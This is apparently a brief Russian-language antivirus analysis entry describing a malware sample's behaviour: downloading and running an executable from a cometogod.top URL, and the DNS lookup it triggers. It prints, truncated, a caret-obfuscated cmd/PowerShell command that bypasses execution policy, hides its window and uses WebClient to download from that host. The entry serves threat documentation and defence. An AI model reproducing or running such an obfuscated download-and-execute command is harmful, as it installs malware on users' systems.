Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://cometogod.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "po^w^E^RshElL.Ex^E -e^XE^c^uTI^o^NP^OliCY BYPA^S^s^ -N^Opr^of^i^LE -WIn^D^o^W^sT^Yl^E ^HiD^dE^N (nEw-oBj^ect SY^ste^m.^n^e^t.we^bCliE^NT).dOwnLo^a^dfILE^(^'http://cometogod....
Сетевая активность
UDP
- DNS ASK co###ogod.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "po^w^E^RshElL.Ex^E -e^XE^c^uTI^o^NP^OliCY BYPA^S^s^ -N^Opr^of^i^LE -WIn^D^o^W^sT^Yl^E ^HiD^dE^N (nEw-oBj^ect SY^ste^m.^n^e^t.we^bCliE^NT).dOwnLo^a^dfILE^(^'http://cometogod....' (со скрытым окном)
